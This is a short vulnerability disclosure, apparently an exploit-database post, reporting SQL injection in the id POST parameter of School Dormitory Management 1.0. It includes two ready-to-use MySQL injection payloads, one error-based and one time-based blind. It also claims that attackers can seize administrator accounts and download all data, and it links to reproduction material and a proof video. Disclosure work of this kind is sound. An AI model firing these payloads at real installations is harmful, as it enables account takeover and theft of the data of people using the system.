School Dormitory Management 1.0 SQL Injection

`## Title: School Dormitory Management 1.0 SQLi  
## Author: nu11secur1ty  
## Date: 05.09.2022  
## Vendor: https://www.sourcecodester.com/users/tips23  
## Software: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management  
  
  
  
## Description:  
The id parameter appears to be vulnerable to SQL injection attacks.  
A single quote was submitted in the id parameter, and a database error  
message was returned.  
Two single quotes were then submitted and the error message disappeared.  
The attacker can take administrator accounts control and also of all  
accounts on this system, also the malicious user can download all  
information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
  
---  
Parameter: id (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: id=2' AND (SELECT 7198 FROM(SELECT  
COUNT(*),CONCAT(0x716b7a6a71,(SELECT  
(ELT(7198=7198,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# JPhD  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=2' AND (SELECT 6966 FROM (SELECT(SLEEP(5)))amnS)# UIgv  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management)  
  
## Proof and Exploit:  
[href](https://streamable.com/hd6xo1)  
  
  
`